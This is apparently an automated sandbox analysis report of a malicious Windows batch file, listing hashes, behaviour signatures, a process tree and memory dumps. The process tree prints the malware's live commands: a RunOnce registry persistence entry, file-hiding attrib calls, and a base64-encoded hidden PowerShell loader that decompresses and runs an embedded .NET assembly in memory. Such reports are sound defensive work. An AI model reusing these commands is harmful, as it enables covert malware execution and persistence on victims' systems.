Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    09-11-2024 19:11

General

  • Target

    New folder/fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat

  • Size

    1.2MB

  • MD5

    3facdad0ee9326a9fe96750fd6882fec

  • SHA1

    e13554f1e181271f441d7ccea3f7df2ae3e47b86

  • SHA256

    fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9

  • SHA512

    02647213a32a323c4b2328641a1f4969ae30e66d31ca9c1629466b1ee7dfb9cb7abb08c2ab070e60a514f4167e39988eb21ffdf02c33f164e39a942b312e8244

  • SSDEEP

    24576:Ldj7jHnhLUJXBLqjfauCZB1wl9UITPPo6jNQQrccVuS8rSE1try6Q+xO7IM:h0XBe20xPg6wxJK

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2084
    • C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9 /d "C:\Users\Admin\AppData\Roaming\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat"
      2⤵
      • Adds Run key to start application
      PID:2432
    • C:\Windows\system32\attrib.exe
      attrib +s +h "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe
      2⤵
      • Sets file to hidden
      • Views/modifies file attributes
      PID:2660
    • C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgACMAKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAjACcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2452
    • C:\Windows\system32\attrib.exe
      attrib -s -h "C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat".exe
      2⤵
      • Views/modifies file attributes
      PID:2312

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\New folder\fab9a387bb96927cbd244960956e4b0afc3b30bee530a52e4c37b7bc787804e9.bat.exe

    Filesize

    442KB

    MD5

    92f44e405db16ac55d97e3bfe3b132fa

    SHA1

    04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

    SHA256

    6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

    SHA512

    f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

  • memory/2452-6-0x0000000074901000-0x0000000074902000-memory.dmp

    Filesize

    4KB

  • memory/2452-7-0x0000000074900000-0x0000000074EAB000-memory.dmp

    Filesize

    5.7MB

  • memory/2452-8-0x0000000074900000-0x0000000074EAB000-memory.dmp

    Filesize

    5.7MB

  • memory/2452-9-0x0000000074900000-0x0000000074EAB000-memory.dmp

    Filesize

    5.7MB

  • memory/2452-10-0x0000000074900000-0x0000000074EAB000-memory.dmp

    Filesize

    5.7MB